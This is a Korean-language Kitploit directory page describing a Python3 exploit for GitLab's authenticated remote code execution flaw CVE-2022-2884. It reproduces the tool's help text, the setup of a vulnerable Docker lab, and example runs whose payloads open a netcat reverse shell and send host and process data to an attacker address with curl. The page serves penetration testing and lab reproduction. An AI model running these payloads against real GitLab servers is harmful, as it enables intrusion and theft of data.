Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
gitlab_rce_cve-2022-2884 — CVE-2022-2884로 알려진 GitLab의 인증된 RCE 취약점을 악용합니다. | Kitploit
도구/GitHubGitHub/m3ssap0/gitlab_rce_cve-2022-2884
Vulnerability ScannersExploitationWeb Application ExploitationPenetration TestingRed TeamingRemote Access Tool
GitHubm3ssap0/gitlab_rce_cve-2022-2884

gitlab_rce_cve-2022-2884

CVE-2022-2884로 알려진 GitLab의 인증된 RCE 취약점을 악용합니다.

저장소 보기
26633년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

gitlab_rce_cve-2022-2884

이 프로그램은 CVE-2022-2884로 알려진 GitLab 인증된 RCE 취약점을 이용하는 Python3 프로그램입니다.

면책 조항

이 도구는 보안 엔지니어와 앱시큐어(AppSec) 담당자가 보안 평가를 위해 사용하도록 설계되었습니다. 이 도구를 책임감 있게 사용해 주십시오. 본 도구를 사용하는 모든 방식에 대해 저는 책임을 지지 않습니다. 이 도구를 사용하여 발생한 피해나 저지른 범죄에 대해 저는 어떠한 책임도 지지 않습니다.

취약점 정보

  • CVE-ID: CVE-2022-2884
  • 링크: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-2884
  • 설명: GitLab CE/EE의 11.3.4부터 15.1.5 이전, 15.2부터 15.2.3, 15.3부터 15.3.1까지의 모든 버전에 영향을 미치는 취약점으로, 인증된 사용자가 GitHub 가져오기 API 엔드포인트를 통해 원격 코드 실행을 달성할 수 있습니다.
  • 공급업체 링크: https://about.gitlab.com/releases/2022/08/22/critical-security-release-gitlab-15-3-1-released/

도움말

root@kitploit:~
$ ./gitlab_rce_cve-2022-2884.py --help
usage: gitlab_rce_cve-2022-2884.py [-h] -u URL -pt PRIVATE_TOKEN [-tn TARGET_NAMESPACE] -a ADDRESS [-p PORT] [-s] -c COMMAND [-d DELAY] [-v]

GitLab 인증 RCE 취약점(CVE-2022-2884) 익스플로잇 - v1.0 (2022-12-25)

선택적 인수:
  -h, --help            이 도움말 메시지를 표시하고 종료
  -u URL, --url URL     대상 GitLab의 URL
  -pt PRIVATE_TOKEN, --private-token PRIVATE_TOKEN
                        GitLab의 개인 토큰
  -tn TARGET_NAMESPACE, --target-namespace TARGET_NAMESPACE
                        GitLab의 대상 네임스페이스 (기본값: 'root')
  -a ADDRESS, --address ADDRESS
                        공격자 머신의 IP 주소
  -p PORT, --port PORT  공격자 머신의 TCP 포트 (기본값: 1337)
  -s, --https           공격자 머신이 HTTPS로 노출된 경우 설정
  -c COMMAND, --command COMMAND
                        실행할 명령어
  -d DELAY, --delay DELAY
                        익스플로잇 완료를 기다리는 지연 시간(초)
  -v, --verbose         상세 모드

예제

root@kitploit:~
./gitlab_rce_cve-2022-2884.py -u http://victim.gitlab.server -pt "glpat-YourGitLabPrivateToken" -a 1.2.3.4 -c "id | nc 1.2.3.4 6669"
root@kitploit:~
./gitlab_rce_cve-2022-2884.py -u http://victim.gitlab.server -pt "glpat-YourGitLabPrivateToken" -a 1.2.3.4 -c "nc 1.2.3.4 6669 -e /bin/bash"
root@kitploit:~
./gitlab_rce_cve-2022-2884.py -u http://victim.gitlab.server -pt "glpat-YourGitLabPrivateToken" -a 1.2.3.4 -c "(hostname; ps aux) | curl 1.2.3.4:6669 -X POST --data-binary @- "
root@kitploit:~
./gitlab_rce_cve-2022-2884.py -u http://victim.gitlab.server -pt "glpat-YourGitLabPrivateToken" -a 1.2.3.4 -c "echo 'test' > /tmp/test"
root@kitploit:~
./gitlab_rce_cve-2022-2884.py -u http://victim.gitlab.server -pt "glpat-YourGitLabPrivateToken" -a 1.2.3.4 -c "nc 1.2.3.4 6669 -e /bin/bash" -d 180
root@kitploit:~
./gitlab_rce_cve-2022-2884.py -v -u http://victim.gitlab.server -pt "glpat-YourGitLabPrivateToken" -a 1.2.3.4 -p 1337 -c "nc 1.2.3.4 6669 -e /bin/bash"
root@kitploit:~
./gitlab_rce_cve-2022-2884.py -u http://victim.gitlab.server -pt "glpat-YourGitLabPrivateToken" -tn root -a 1.2.3.4 -p 1337 -s -c "nc 1.2.3.4 6669 -e /bin/bash"

취약한 애플리케이션

다음 명령어를 사용하여 취약한 애플리케이션을 설정할 수 있습니다.

root@kitploit:~
export GITLAB_HOME=/srv/gitlab
docker run --detach --rm \
           --hostname gitlab.example.com \
           --publish 443:443 --publish 80:80 --publish 22:22 \
           --name vuln-gitlab \
           --volume $GITLAB_HOME/config:/etc/gitlab \
           --volume $GITLAB_HOME/logs:/var/log/gitlab \
           --volume $GITLAB_HOME/data:/var/opt/gitlab \
           --shm-size 256m \
           gitlab/gitlab-ce:15.3.0-ce.0

Docker 컨테이너가 쿼리에 응답하기 시작할 때까지 시간이 걸릴 수 있습니다. 그런 다음 http://localhost에 연결하십시오.

사용자 이름 root와 다음 명령어의 비밀번호로 로그인하십시오.

root@kitploit:~
docker exec -it vuln-gitlab grep 'Password:' /etc/gitlab/initial_root_password

로컬에서 익스플로잇을 테스트하려면 docker run 명령에 --network="host"를 추가하고 GitLab의 아웃바운드 요청 제약 조건을 제거해야 합니다:

  • http://localhost/admin/application_settings/network에 접속
  • "아웃바운드 요청" 섹션 펼치기
  • "웹 훅 및 서비스에서 로컬 네트워크로의 요청 허용" 체크
  • "후크 및 서비스가 접근할 수 있는 로컬 IP 주소 및 도메인 이름" 텍스트 상자에 127.0.0.1 추가
  • 변경 사항 저장

익스플로잇의 전제 조건은 GitLab에 개인 토큰을 보유하는 것입니다:

  • http://localhost/-/profile/personal_access_tokens에 접속
  • 최소 api 범위의 토큰 생성

저자

  • Antonio Francesco Sardella - 주 구현 - m3ssap0

라이선스

자세한 내용은 LICENSE 파일을 참조하십시오.

감사의 말

  • yvvdwf: 취약점을 발견한 보안 연구원.
도구 다운로드